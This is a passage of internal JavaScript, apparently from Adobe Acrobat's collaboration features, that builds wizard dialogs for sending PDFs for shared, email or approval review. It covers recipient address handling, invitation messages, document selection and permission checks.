					switch (this.wizard.steps[curStepNum].name)

					{

						case "IWSharedReviewDocCenterCreateConfirm":

						{

							prevStepName = "IWSharedReviewDocCenterLogin";								

							prevStep = GetStepNum(prevStepName, data.reviewType);

						}

					}

					if (prevStepName == "noFunc")

					{

						if (prevStep > 0)

							prevStep -= 1;

					}

					return prevStep;

				}

			},

			description:

			{

				width: Collab.wizardWidth,

				height: Collab.wizardHeight

			}

		});

		

		app.beginPriv();

		description.data.result = app.execDialog(description);

		app.endPriv();

		return description.data;

	}





	CBCreateInviteStepDescription = function(orderClusterTitle, disallowPrev, showReaderEnable, verifyRaddr)

	{

		app.beginPriv();

		var description = ANTrustPropagateAll({

			disallowPrev: disallowPrev,

			showReaderEnable: showReaderEnable,

			verifyRaddr: verifyRaddr,

			initialize: function(dialog)

			{

				this.data.certWarningPopped = false;



				if(!this.data.addrs)

					this.data.addrs = []

				this.updateAddrs(dialog, true);



				this.canReaderEnable = (app.viewerType.match('Exchange-Pro') != null);

				this.data.readerEnable = this.canReaderEnable && (typeof this.data.readerEnable == "undefined" ?

					true :

					this.data.readerEnable);



				app.beginPriv();

				if(!this.data.raddr)

					this.data.raddr = identity.email;

				app.endPriv();

				

				if(!this.data.toolbars)

					this.data.toolbars = { Commenting: true, AdvCommenting: false };

				dialog.focus("addr");

				

				dialog.enable( { "adrb" : app.addressBookAvailable } );

			},

			splitAddrs: function(addrs)

			{

				var addrVec = addrs.split(/\;|\n|\r\n|\r/);

				var resultVec = [];

				var j = 0;

				

				for(var i in addrVec)

				{

					var addr = addrVec[i].replace(/^\s*(\S(?:.*\S)?)\s*$/, "$1");

					

					if(addr)

						resultVec[j++] = addr;

				}

				

				return resultVec;

			},

			joinAddrs: function(addrs)

			{

				return addrs.join("\n");

			},

			updateAddrs: function(dialog, dataIn)

			{

				// load from or to the dialog?

				if(dataIn)

					// load the value into the dialog

					dialog.load({addr: this.joinAddrs(this.data.addrs)});

				else

					// split out the addresses to store

					this.data.addrs = this.splitAddrs(dialog.store()["addr"]);

			},

			idle: function(dialog)

			{

				// XXX this stinks

				if(this.data.doc && this.data.doc.certified && !this.data.certWarningPopped)

				{

					this.data.certWarningPopped = true;

					app.beginPriv();

					app.alert({cMsg: AnnotsString.IDS_BROWSER_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIED});

					app.endPriv();

				}



				var o = dialog.store();

				

				var s = this.splitAddrs(o["addr"]);

				dialog.enable({

					next: (s.length > 0 && !this.data.doc.certified) ? true : false,

					prev: this.disallowPrev ? false : true

				});

			},

			adrb: function(dialog)

			{

				this.updateAddrs(dialog, false);

				

				var addrs;

				

				try

				{

					var joinedAddrs = this.data.addrs.join(";");

					app.beginPriv();

					addrs = app.mailGetAddrs({ cTo: joinedAddrs, bCc: false, bBcc: false });

					app.endPriv();

				}

				catch(e)

				{

					// XXX ugh... need to catch throws about invalid e-mail addresses sep. from cancellation throws

				}

				

				if(addrs)

				{

					this.data.addrs = this.splitAddrs(addrs[0]);

					this.updateAddrs(dialog, true);

				}

			},

			opts: function(dialog)

			{

				CBRunReviewOptionsDialog(this.data, this.showReaderEnable, this.canReaderEnable);

			},



			emailListsMatch: function (firstList, secondList)

			{

				var firstArray = this.splitAddrs(firstList);

				var secondArray = this.splitAddrs(secondList);



				var firstSortedList = firstArray.sort().join(";");

				var secondSortedList = secondArray.sort().join(";");



				return (firstSortedList == secondSortedList);

			},



			allEmailAddrsValid: function (addrArray)

			{

			    var invalidIDs = "";

				for(var i in addrArray)

				{

					var addr = addrArray[i];

					if(!CBIsValidEmail(addr))

					{

					    if(invalidIDs != "")

					        invalidIDs = invalidIDs + ", ";

					    invalidIDs = invalidIDs + addr;

					}

				}

				return invalidIDs;

			},



			resolveAddrs: function(dialog)

			{



					/*var bResolveHappened = false;*/



    			    var props =

				    {

					    bUI: false,

					    cTo: this.data.addrs.join(";"),

					    cCc: "",

					    cSubject: this.data.subj,

					    cMsg: this.data.msg,

                        bNoError: true,

				    };

                                  

                    if(this.data.reviewType == "EBR")

                    {

                        dialog.enable({next: false});

                        props.bShowProgress = true;

                        props.cProgressMessage = AnnotsString.IDS_GEN_STATUS_RESOLVING;

                    }



					app.beginPriv();

                    try

                    {

						var resolvedEmailList = app.getResolvedAddresses(props);

                    }

                    catch(e)

                    {

                    	DebugThrow("Throw: Sendmail");

                    }

					app.endPriv();



					var emailCategories = resolvedEmailList.split(/&/g);



					var finalLists =

					{

						toList: emailCategories[0].substr(3),

						ccList: emailCategories[1].substr(3),

						bccList: emailCategories[2].substr(4),

					};



					this.removeDuplicateEmailAddresses(finalLists);



/*					if(!this.emailListsMatch(props.cTo, finalLists.toList)  || 

						!this.emailListsMatch(props.cCc, finalLists.ccList))

					{

						bResolveHappened = true;

					}

					

					if(bResolveHappened)

					{

						this.data.addrs = this.splitAddrs(finalLists.toList);

						this.updateAddrs(dialog, true);

						DebugThrow("The email addresses got resolved. So try again.");

					}

					else

					{ */

					this.data.addrs = this.splitAddrs(finalLists.toList);

					this.updateAddrs(dialog, true);

					var invalidIDs = "";

					invalidIDs = this.allEmailAddrsValid(this.data.addrs);

					if(invalidIDs != "")

					{

					    app.beginPriv();

					    var result = app.alert(AnnotsString.IDS_SHARED_REVIEW_UNRESOLVED_MAIL_IDS.replace(/%mailids%/, invalidIDs), 1, 1);

					    app.endPriv();

					    

					    if(result != 1)

							DebugThrow("The email addresses are not valid. So try again.");

					}

			},



			removeDuplicateEmailAddresses: function(lists)

			{

				lists.toList = this.removeDuplicateEmailAddressesInList(lists.toList);	

				lists.ccList = this.removeDuplicateEmailAddressesInList(lists.ccList);	

				lists.bccList = this.removeDuplicateEmailAddressesInList(lists.bccList);	

			},



			removeDuplicateEmailAddressesInList: function(addrList)	

			{

				// Here newList would be created. Intially it would have

				// semicolons both at front and end to help in searching.

				// At the end of loop, we will remove them.



				var newList = ";";

				var addrs = addrList.split(/;/g);

				for(var i in addrs)

				{

					var addr = addrs[i];

					if(newList.match(";" + addr + ";") == null)

						newList = newList + addr + ";";

				}

				var len = newList.length;

				return newList.substr(1, len - 2);

			},



			commit: function(dialog, next)

			{

				this.updateAddrs(dialog, false);

				

				if (next)

				{	

                    // Fix for bug# 3222368, 3222202 - Resolve functionality is also provided on Mac now with webmail. Installed mail clients resolving is still not provided

					//if(app.platform == "WIN")

					{

						this.resolveAddrs(dialog);

					}

				

				    // ensure a return email address

				    if(this.verifyRaddr && !this.data.raddr)

				    {

					    CBRunReviewOptionsDialog(this.data, this.showReaderEnable, this.canReaderEnable);

					    if(!this.data.raddr)

					    {

							app.beginPriv();

						    app.alert(AnnotsString.IDS_INVITE_NO_RADDR);

							app.endPriv();

						    DebugThrow ("No return address");

					    }

				    }



					switch(this.data.reviewType)

					{

						case "BBR":

							this.data.cannedSubj = AnnotsString.IDS_INVITE_DEFAULT_SUBJECT;

							this.data.cannedMsg = AnnotsString.IDS_INVITE_DEFAULT_MESSAGE;

							break;



						case "EBR":

							// Set the email contents

							this.data.cannedSubj = AnnotsString.IDS_SEND_FOR_REVIEW_SUBJ;

							if(this.data.readerEnable)

								this.data.cannedMsg = AnnotsString.IDS_SEND_FOR_REVIEW_PRO_MSG;

							else this.data.cannedMsg = AnnotsString.IDS_SEND_FOR_REVIEW_STD_MSG;

							break;



						default:

							console.println("Unhandled Review Type: " + this.data.reviewType);

							break;

					}

				}

			},

			description:

			[

				{

					type: "view",

					align_children: "align_top",

					alignment: "align_fill",

					elements:

					[

						{

							type: "view",

							align: "align_top",

							align_children: "align_top",

							elements:

							[

								{

									type: "button",

									name: AnnotsString.IDS_INVITE_ADDRESS_BOOK,

									item_id: "adrb"

								}

							]

						},

						{

							type: "edit_text",

							multiline: true,

							height: { prod: [ 15, { edit_text_height: [] } ] },

							item_id: "addr",

							alignment: "align_fill"

						}

					]

				}

			]

		});

		app.endPriv();

		

		return description;

	}



	CBCreateInviteStepDescriptionApproval = function(orderClusterTitle, disallowPrev, bShowInitiatorEmail, bShowReaderEnable, bCanReaderEnable)

	{

		var addrBookAndAddWidth = { max: [ { string_width: AnnotsString.IDS_INVITE_ADD }, { string_width: AnnotsString.IDS_INVITE_TO } ] }



		app.beginPriv();

		var description = ANTrustPropagateAll({

			disallowPrev: disallowPrev,

			initialize: function(dialog)

			{

				this.data.certWarningPopped = false;

					

				if(!this.data.addrs)

					this.data.addrs = [];

			

				// cc me checkbox defaults to false

				if (typeof this.data.initiatorEmail == "undefined")

					this.data.initiatorEmail = false;

					

				dialog.load({"cbx1" : this.data.initiatorEmail});

				dialog.load({"1adr" : this.data.addrs});

				dialog.focus("1adr");

				

				//

				// if reader enable is not set, then default

				// to on if readerEnable is editable and default

				// to off if readerEnable is not editable

				//

				if (bCanReaderEnable)

				{

					if (typeof this.data.readerEnable == "undefined")

						this.data.readerEnable = true;	

				}

				else

				{

					if (typeof this.data.readerEnable == "undefined")

						this.data.readerEnable = false;

				}

				dialog.load({"cbx2" : this.data.readerEnable});

				dialog.enable({"cbx2" : bCanReaderEnable, "adrb" : app.addressBookAvailable});

					

			},

			idle: function(dialog)

			{

				// XXX this stinks

				if(this.data.doc && this.data.doc.certified && !this.data.certWarningPopped)

				{

					this.data.certWarningPopped = true;

					app.beginPriv();

					app.alert({cMsg: AnnotsString.IDS_BROWSER_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIED});

					app.endPriv();

				}



				var o = dialog.store();

				

				dialog.enable({

					next: ((o["1adr"].length > 0) && !this.data.doc.certified) ? true : false,

					prev: this.disallowPrev ? false : true

				});

			},

			adrb: function(dialog)

			{

				app.beginPriv();

				var addrs = app.mailGetAddrs({ cTo: dialog.store()["1adr"], bCc: false, bBcc: false });

				app.endPriv();

				

				if(addrs && addrs[0])

					dialog.load({"1adr" : addrs[0]});

			},

			cbx1: function(dialog)

			{

				var o = dialog.store();

							

				if (o["cbx1"])

					this.data.initiatorEmail = true;

				else

					this.data.initiatorEmail = false;

			},

			// this code was moved into commit event.

			//cbx2: function(dialog)

			//{					

			//	var o = dialog.store();

			//				

			//	if (o["cbx2"])

			//		this.data.readerEnable = true;

			//	else

			//		this.data.readerEnable = false;

			//},

			commit: function(dialog)

			{

				var o = dialog.store();

				

				this.data.addrs = o["1adr"];



				if(bShowReaderEnable && o["cbx2"] != this.data.readerEnable)

				{

					this.data.readerEnable = o["cbx2"];

					this.data.msgChanged = true;



					if(this.data.readerEnable)

						this.data.cannedMsg = AnnotsString.IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_UB;

					else 

						this.data.cannedMsg = AnnotsString.IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_NOUB;

				}

			},

			description:

			[

				{

					type: "view",

					align_children: "align_row",

					alignment: "align_fill",

					elements:

					[

						{

							type: "button",

							name: AnnotsString.IDS_INVITE_ADDRESS_BOOK,

							width: addrBookAndAddWidth,

							item_id: "adrb"

						},

						{

							type: "edit_text",

							item_id: "1adr",

							alignment: "align_fill"

						}

					]

				}

			].concat( bShowInitiatorEmail ?

			[

				{

					type: "view",

					align_children: "align_left",

					elements:

					[

						{

							type: "check_box",

							item_id: "cbx1",

							wrap_name: true,

							width: Collab.wizardWidth,

							name: AnnotsString.IDS_EMAIL_APPROVAL_INVITE_STEP_CC_INITIATOR

						}

					]

				}

			] : [] ).concat( bShowReaderEnable ?

			[

				{

					type: "view",

					align_children: "align_left",

					elements:

					[

						{

							type: "check_box",

							item_id: "cbx2",

							wrap_name: true,

							width: Collab.wizardWidth,

							name: AnnotsString.IDS_EMAIL_APPROVAL_INVITE_STEP_GRANT_UB_RIGHTS

						}

					]

				}

			

			] : [] )

		});

		app.endPriv();

		

		return description;

	}



	CBCreateSendInvitationStepDescription = function(subjHeading, isBBR)

	{	

		var description = 

		{

			isBBR: isBBR,

			initialize: function(dialog)

			{

				this.cannedSubj = this.data.cannedSubj;

				this.cannedMsg = this.data.cannedMsg;



				var docName = (this.data.doc && this.data.doc.documentFileName) ? this.data.doc.documentFileName : this.data.docPath.match(/[^\/]*$/);

				if (app.platform == "WIN")

				{

					docName = docName.substring(docName.lastIndexOf('\\') + 1); //Bug #1046690. Remove the path info if any, from the filename

				}

				else if (app.platform == "MAC")

				{

					// we have the same problem on the mac as windows.  I suspect that what happened here is that

					// we are mixed up throughout the code about whether we are passing di paths or platform

					// paths, so sometimes we end up in this case with document name trimmed, and sometimes

					// we end up with document name in a fully qualified path.  I'd much rather assume that

					// the path is one or the other, do the conversion and trim it (or assume that it was

					// passed to us already trimmed), but there are many entry points to this code and

					// it's lower risk late in the game for Atlas to simply do the same hack we're already

					// doing on windows.  At some point, the use of paths in this file should be 

					// unified.

					docName = docName.substring(docName.lastIndexOf(':') + 1);

				}

					

				

				var bNameHasPercentEncoding = false;

				var decodedDocName = "";

				if (docName.indexOf('%') != -1 && this.data.decodedURL && (typeof this.data.decodedURL == "string"))

				{

					bNameHasPercentEncoding = true;

					decodedDocName = this.data.decodedURL.substring(this.data.decodedURL.lastIndexOf('/') + 1);

				}

				

				if(!this.data.msg || this.data.msgChanged)

				{

					if (bNameHasPercentEncoding)

						this.data.msg = this.cannedMsg.replace(/%docname%/, decodedDocName + " (" + docName + ")");

					else

						this.data.msg = this.cannedMsg.replace(/%docname%/, docName);

				}

				if(!this.data.subj || this.data.msgChanged)

				{

					if (bNameHasPercentEncoding)

						this.data.subj = this.cannedSubj.replace(/%docname%/, decodedDocName);

					else

						this.data.subj = this.cannedSubj.replace(/%docname%/, docName);

				}

				this.data.msgChanged = false;

				

				dialog.load({mesg: this.data.msg, subj: this.data.subj});

				dialog.focus("next");

				

				var o = dialog.store();

				this.data.msgOriginal = o["mesg"];

			},

			commit: function(dialog, next)

			{

				var o = dialog.store();				

				this.data.msg = o["mesg"];

				if (this.data.msg != this.data.msgOriginal)

					this.data.msgChanged = true;



				if(this.data.msgChanged && !next)

				{

					app.beginPriv();

					if(app.alert(AnnotsString.IDS_INVITE_CUSTOM_MSG_WILL_BE_LOST, 2, 2) != 4)

						DebugThrow ("Don't lose custom message");

					app.endPriv();

				}



				this.data.subj = o["subj"];

				

				if(next && this.isBBR && !this.data.doc.path.match(/^http[s]?\:/))

				{

					app.beginPriv();

					if(app.alert(AnnotsString.IDS_INVITE_FROM_FILE, 2, 2) != 4)

						DebugThrow ("BBR loc invite location bad");

					app.endPriv();

				}

			},

			description: [

				{

					type: "edit_text",

					item_id: "subj",

					width: Collab.wizardWidth

				},

				{

					type: "static_text",

					name: subjHeading

				},

				{

					type: "edit_text",

					alignment: "align_fill",

					height: { prod: [ { edit_text_height: [] }, 10 ] },

					multiline: true,

					item_id: "mesg"

				}

			]

		};

		

		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}



	IWBrowseDocStepCommitWork = function(data)

	{

		data.isApproval = (data.reviewType == "APP");

		

		// no doc or different doc

		DebugAlert(" In IWBrowseDocStepCommitWork ");

		if(typeof data.doc == "undefined" || !data.doc || (data.doc && data.doc.path != data.docPath))

		{

			// open the new one

			app.beginPriv();

			if(data.reviewType == "SharedReview")

			    Collab.addDocToDocsOpenedByWizard(data.docPath);

			if(data.delayOpenDoc == true)

			    data.doc = app.openDoc({ cFS: data.docFS, cPath: data.docPath, bUseConv: true});

			else

			    data.doc = app.openDoc({ cFS: data.docFS, cPath: data.docPath, bHidden: true, bUseConv: true });

			app.endPriv();

			if(data.doc)

			{

			    if(data.delayOpenDoc != true)

		        {

    			   Collab.bringToFront(data.doc); //Show the document first

	        	   Collab.bringToFront();              //Bring wizard in focus again

			    } 

    	       data.docsOpenedByWizard[data.docsOpenedByWizard.length] = data.doc;

		    }  

			    

			// we've changed the file name, so re-burn the message

			data.msgChanged = true;

		}

		

		if((data.doc)&& (data.reviewType == "SharedReview"))

		{

			app.beginPriv();

			var maxPDFCommentsSize = Collab.maxPDFCommentsSize;

			app.endPriv();



			if(data.checkSize && data.doc.filesize > (1024 * 1024 * maxPDFCommentsSize))

			{

				// confirm that the large file is ok

				app.beginPriv();

				var result = app.alert(AnnotsString.IDS_SEND_FOR_REVIEW_DOC_IS_LARGE.replace(/%mb%/, maxPDFCommentsSize), 2, 2);

				app.endPriv();

				

				if(result != 4)

					DebugThrow ("Big doc");

			}



			// is this doc related to an email review? (but not THE email review, i.e. subreview)

			if(Collab.isEmailReview(data.doc, true) && !data.doc.Collab.isEmailReview(data.doc, false))

			{

				app.beginPriv();

				app.alert(data.isApproval ? AnnotsString.IDS_CANT_APPROVE_LAX_EMAIL_MATCH : AnnotsString.IDS_CANT_REVIEW_LAX_EMAIL_MATCH);

				app.endPriv();

				DebugThrow ("Lax review match");

			}



			// part of an on-line review?

			if(Collab.isOnlineReview(data.doc, false) || (data.reviewType == "BBR" && Collab.isOfflineReview(data.doc)))

			{

				app.beginPriv();

				app.alert(data.isApproval ? AnnotsString.IDS_CANT_APPROVE_ALREADY_BBR : AnnotsString.IDS_CANT_REVIEW_ALREADY_BBR);

				app.endPriv();

				DebugThrow ("On-line review match");

			}



			// Review of a dynamic document is not allowed.

			// Tell the user they can save a flat copy and send the dynamic doc out as an attachment

			// 1303733 - Moved this check before checking permission.canExport (returns false for dyn docs)

			if ( !data.isApproval && data.doc != null && data.doc.dynamicXFAForm )

			{

				app.beginPriv();

				var msgboxtitle = app.viewerType == "Reader"? AnnotsString.IDS_PRODUCT_NAME_READER : AnnotsString.IDS_PRODUCT_NAME_ACROBAT;

				app.alert({cTitle:msgboxtitle, cMsg: AnnotsString.IDS_DYNAMIC_DOC_COMMENTS_MSG1, nIcon: 3});

				app.endPriv();

				DebugThrow ("Dynamic document");

			}



			// commenting not allowed?

			if(data.doc.requestPermission(permission.annot, permission.canExport) != permission.granted

				|| data.doc.requestPermission(permission.annot, permission.create) != permission.granted)

			{

				app.beginPriv();

				app.alert(data.isApproval ? AnnotsString.IDS_CANT_APPROVE_WITH_NO_PERMS : AnnotsString.IDS_CANT_REVIEW_WITH_NO_PERMS);

				app.endPriv();

				DebugThrow ("No perms");

			}



		   // Verify the perms we're gonna need at the end

		   // Note that we really only want to do this if we are ubiquitizing but we don't know

		   // that until step 3 and making the user choose a new file then is awkward.  Assume

		   // the user is going to want to ubiquitize.

			if (data.doc.requestPermission(permission.document, permission.fullSave) != permission.granted)

			{

				app.beginPriv();

				app.alert(AnnotsString.IDS_CANT_WORKFLOW_WITH_NO_SAVE);

				app.endPriv();

				DebugThrow ("Cannot full save");

			}



		   // Can't review a document that is in a collection

			if (data.doc.isInCollection)

			{

				app.beginPriv();

				app.alert(AnnotsString.IDS_PDF_PACKAGE_SEND_FOR_REVIEW);

				app.endPriv();

				DebugThrow ("Cannot full save");

			}



			//Check if the document is modifiable, if not then don't send for shared review.

			data.docModifiable = 

				data.doc.requestPermission(permission.document, permission.modify) == permission.granted;



			//Check if the document is certified, if yes then don't send for shared review.

			if(data.doc.certified)

			{

				app.beginPriv();

				app.alert({cMsg: AnnotsString.IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIED_ALTERNATE});

				app.endPriv();

				DebugThrow ("Document is certified");

			}

			else if(!data.docModifiable)

			{

				if(Collab.isSharedReview(data.doc))

				{

					app.beginPriv();

					app.alert({cMsg: AnnotsString.IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_SHARED_REVIEW});

					app.endPriv();

					DebugThrow ("This is already a shared review file");

				}

				else

				{

					app.beginPriv();

					app.alert({cMsg: AnnotsString.IDS_SHARED_REVIEW_DOC_IS_NOT_MODIFIABLE});

					app.endPriv();

					DebugThrow ("Cannot full save")

				}

			}

		}

		else if((data.doc) && (data.reviewType == "FormDistribution"))

		{

			DebugAlert("doc path"+data.doc.path);

			

			app.beginPriv();

			var props = Collab.AFPrepareFormForDistribution(data.doc.path);

			app.endPriv();

			

			/*

    		    props.state corresponds to

				0, if there is some issue with the form (dont close the wizard just let them pick a different file)

				1, if the file is good to go

				2, if the wizard should close (the wizard should return something like kIWFormEditMode in this case)

				3, if the wizard should close (the wizard should return something like kIWQuickbook  in this case)

			 */



			if(props == null)

			{

				DebugThrow ("form not distributable");

			}

			else

			if(props.status == 1)

			{

				data.doc.path = props.outPath;

				data.docPath = props.outPath;

			}

			else 

			{

			    if(props.status == 2) //  kIWFormEditMode

			        data.IWStatus = 3;

			    else

			    if(props.status == 3) // kIWQuickbook  

			        data.IWStatus = 4;

			     

				throw ("halt");

			}

		}

	}



	//outputs

	//this.data.docPath

	//this.data.docFS (optional)

	//also updates the popup which shows the documents to share (i.e. updates this.dialog.fils)

	IWBrowseDoc = function(reviewType, checkSize)

	{

		var description = 

		{

			initialize: function(dialog)

			{

				var toLoad = {};

				var toShow = {};

				var toEnable = {};

				if(!this.data.docPath || (this.data.reviewType != "FormDistribution" && this.data.doc && this.data.doc.isInCollection)) //FormDistribution check here may be removed later if forms also want to disable porfolios)

				{

					this.data.docPath = "";

					this.data.docFS = undefined;

			    }

				this.updateDocs(dialog);

				

				//dialog.makeDefault("brws");

				toShow.prev = false;

			

				toShow.help = false;

				

				toEnable.next = ((this.data.docFS != undefined) || (this.data.docPath != ""));

				

				if(this.data.reviewType == "SharedReview" || this.data.reviewType == "FormDistribution")

				{

					this.data.canReaderEnable = 

						(app.viewerType.match('Exchange-Pro') != null);



					//This checkbox is not there in the new mockups. 

					// anyways *always* readerEnable

					toLoad.enbl = this.data.canReaderEnable;

				}

				

				this.data.checkSize = checkSize; 

				

				toLoad.hdng = SharedString("IDS_SHARED_REVIEW_BROWSE_DOC_STEP_SUBHEADING" + WT);

				toLoad.icn1 = "C_Info_Xl_N.png";				

				

    			dialog.load(toLoad); 

				dialog.visible(toShow);

				dialog.enable(toEnable);

				

				if(toEnable.next)

				{

					dialog.makeDefault("brws");

					dialog.focus("next");

				}

				else

				{

					dialog.makeDefault("brws");

					dialog.focus("brws");

				}

			},



			updateDocs: function()

			{

				app.beginPriv();

				var docs = app.activeDocs;

				app.endPriv();

				

				var fils = {};

				var didSelect = false;



				for(var i in docs)

				{

					var doc = docs[i];

					

					if(!doc.external && !doc.isInProtectedView)

					{

						var select = (doc.path == this.data.docPath);

						

						if(!doc.isInCollection) 

						    fils[doc.documentFileName] = (1 + (1*i)) * (select ? 1 : -1);

						

						if(select)

							didSelect = true;

					}

				}



				if(!didSelect && this.data.docPath)

					fils[this.data.docPath.match(/[^\/]*$/)[0]] = docs.length + 1;

				

				this.dialog.load({fils: fils});

			},



			brws: function(dialog)

			{

				app.beginPriv()

				var p = app.browseForDoc();

				app.endPriv();

				

				if(p)

				{

				    if(p.cFS == "CSP")

		            {

		                app.beginPriv();

				        app.alert(AnnotsString.IDS_WORKFLOW_ERROR_DUETO_BROWSE_SHAREPOINT_FILE);

				        app.endPriv();

		            }

                    else

                    {

					    this.data.docPath = p.cPath;

					    this.data.docFS = p.cFS;

					    this.updateDocs();

					    var bResult = ((this.data.docFS != undefined) || (this.data.docPath != ""))

					    this.dialog.enable({next: bResult});

					    dialog.focus("next");

					}

				}

			},



			findSelectedIndex: function(id)

			{

				var o = this.dialog.store()[id];



				for(var i in o)

				{

					if(o[i] > 0)

						return o[i] - 1;

				}

				return -1;

			},



			fils: function(dialog)

			{

				app.beginPriv();

				var docs = app.activeDocs;

				app.endPriv();

				

				var i = this.findSelectedIndex("fils");

				

				if(i >= 0 && i < docs.length)

					this.data.docPath = docs[i].path;

					

				var bResult = ((this.data.docFS != undefined) || (this.data.docPath != ""))

				this.dialog.enable({next: bResult});

				

				if(bResult)

					dialog.focus("next");

			},

			

			/*idle: function(dialog)

			{				

				var bResult = ((this.data.docFS != undefined) || (this.data.docPath != ""))

				this.dialog.enable({next: bResult});

			},*/



			commit: function(dialog, next)

			{

				app.beginPriv();

				var docs = app.activeDocs;

				app.endPriv();

			

				var i = this.findSelectedIndex("fils");

				

				if(i >= 0 && i < docs.length)

					this.data.docPath = docs[i].path;

					

				if(next)

				{

				    if(this.data.delayOpenDoc != true)

				    {

					    try

					    {

					        IWBrowseDocStepCommitWork(this.data);

					    }

						catch (e)

						{

							if (data.reviewType == "FormDistribution" && e == "halt")

							{

								 dialog.end("cncl");

							}

						}

					}			    

					else

					    dialog.end("ddoc");

				}

			},

			description: [

				{

					type:"view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					margin_height: Collab.marginHeight,

					margin_width: Collab.wizardMarginWidth,

					align_children: "align_left",

					alignment: "align_fill",

					elements:

					[

						{

							type: "static_text",

							name: "",

							alignment: "align_fill",

							item_id: "hdng",

							font: "dialog",

							bold: true,

						},

						{

							type: "view",

							alignment: "align_fill",

							align_children: "align_row",

							elements:

							[

								{

									type: "popup",

									alignment: "align_fill",

									item_id: "fils"

								},

								{

									type: "button",

									name: AnnotsString.IDS_BROWSE,

									item_id: "brws"

								}

							]

						},

						{

							type: "view",

							alignment: "align_fill",

							elements:

							[

								{

									type: "gap",

									height: 240,

								},

								

								{

									type: "static_text",

									name: "",

									alignment: "align_fill",

									separator: 1,

								},

								

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_center",

									elements:

									[

										{

											type: "image",

											item_id:"icn1",

											width: 32,

											height: 32

										},

										{

											type: "static_text",

											name: SharedString("IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TIP_DESC"+WT),

											width: 380,

											wrap_name: true,

										}

									]

								}

							]

						}

					]

				}

			]

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}





	//outputs

	//this.data.docPath

	//this.data.docFS (optional)

	//also updates the popup which shows the documents to share (i.e. updates this.dialog.fils)

	IWBrowseAnyDoc = function(reviewType, checkSize)

	{

		var description = 

		{

			initialize: function(dialog)

			{

				var toLoad = {};



				if(this.data.docPath == undefined)

				{

					//this.data.docPath = "";

					this.data.docList = [];

				}

				else

				{

					if (this.data.docList == undefined)

					{

						this.data.docList = [];

						

						app.beginPriv();

						this.data.docList[this.data.docList.length] = Collab.convertDIPathToPlatformPath(this.data.docPath);

						app.endPriv();

					}

					else 

						;//do nothing

				}

					

				toLoad.icn1 = "C_Info_Xl_N.png";

				

				if (this.data.type == 1)

					toLoad.next = AnnotsString.IDS_UPLOAD;

				

				this.updateDocs(dialog);

				dialog.focus("sMor");

				

				this.data.checkSize = checkSize; 

				

				dialog.load(toLoad);

				dialog.visible({help:false});

			},



			updateDocs: function()

			{

				var toEnable = {};

				

				var dcl = {};

				var didSelect = false;

				var idx = 1;

				

				for (var i = 0; i < this.data.docList.length; i++)

				{

					var currIndex = idx++;

					currIndex = -currIndex;



					if ((i+1) == this.data.docList.length)

						currIndex = -currIndex

					dcl[this.data.docList[i]] = currIndex;

				}

				

				DebugPrintln("dumping dcl");

				ANDumpObj(dcl);

				

				var ok = (this.data.docList.length != 0);

				toEnable.next = ok;

				toEnable.sDel = ok;

				

				if (ok)

				{

					app.beginPriv();

					this.data.docPath = Collab.convertPlatformPathToDIPath(this.data.docList[0]);

					app.endPriv();



					this.data.docName = this.data.docPath.substring(this.data.docPath.lastIndexOf('/') + 1, this.data.docPath.length);

				}

				

				this.dialog.enable(toEnable);

				this.dialog.load({fils: dcl});

			},



			findSelectedIndex: function(id)

			{

				var o = this.dialog.store()[id];



				for(var i in o)

				{

					if(o[i] > 0)

					{

						return o[i] - 1;

					}

				}

				return -1;

			},

			



			sMor: function(dialog)

			{

				app.beginPriv()

				var p = app.browseForMultipleDocs({cFileFilter:2, cWindowTitle:SharedString("IDS_SHARE_FILE_SELECT_FILE_DIALOG_TITLE"+WT), bAllowMultiple: true});

				app.endPriv();

				

				for (var i in p)

				{

					if(p[i])

					{

						app.beginPriv();

						this.data.docList[this.data.docList.length] = Collab.convertDIPathToPlatformPath(p[i].cPath);//this.data.docPath);

						app.endPriv();

					}

				}

				this.updateDocs();				

			},

			

			sDel: function(dialog)

			{

				var index = this.findSelectedIndex("fils");

				var newDocList = []

				

				for (var i = 0; i < index; i++)

					newDocList[i] = this.data.docList[i];

				for (var i = index; i < (this.data.docList.length-1); i++)

					newDocList[i] = this.data.docList[i+1];

				

				this.data.docList = newDocList;				

				this.updateDocs(dialog);

			},

			

			link: function(dialog)

			{

				var url = AnnotsString.IDS_SHARE_FILE_UNSUPPORTED_FILE_TYPES_URL;

				app.launchURL(url, true);

			},



			idle: function(dialog)

			{

				var toLoad = {};

				if (this.data.type == 1)

					toLoad.next = AnnotsString.IDS_UPLOAD;

				

				dialog.load(toLoad);				

			},



			commit: function(dialog, next)

			{

				if (next)

				{

					var tempDocList = [];

					var tempDocList_DIPath = [];

					//1. First check if there are any files with the same file name.

					for (var i = 0; i < this.data.docList.length ; i++ )

					{

		    			app.beginPriv();

		    			var filePath = Collab.convertPlatformPathToDIPath(this.data.docList[i]);

			    		app.endPriv();



						tempDocList_DIPath[tempDocList_DIPath.length] = filePath;

					}



					for (var i = 0; i < tempDocList_DIPath.length ; i++ )

					{

						var fileName_i = tempDocList_DIPath[i].substring(tempDocList_DIPath[i].lastIndexOf('/') + 1, tempDocList_DIPath[i].length);

						var bUnique  = true;

						for (var j = i+1; j < tempDocList_DIPath.length; j++)

						{

							var fileName_j = tempDocList_DIPath[j].substring(tempDocList_DIPath[j].lastIndexOf('/') + 1, tempDocList_DIPath[j].length);

							if (fileName_i == fileName_j)

							{

								if (bUnique)

								{

									bUnique = false;

									tempDocList[tempDocList.length] = tempDocList_DIPath[i];

								}

								tempDocList[tempDocList.length] = tempDocList_DIPath[j];

							}

						}

					}



					if (tempDocList.length > 0)

					{

						ANDumpObj(tempDocList);

						var desc = IWUploadFileError_UniqueFilenameDialog(tempDocList);

						

						app.beginPriv();

						app.execDialog(desc);

						app.endPriv();



						DebugThrow ("Exit the wizard\n");

					}



					

					//2. Check if the files being uploaded can be uploaded on the document center and resolve any file name conflicts.

					app.beginPriv();

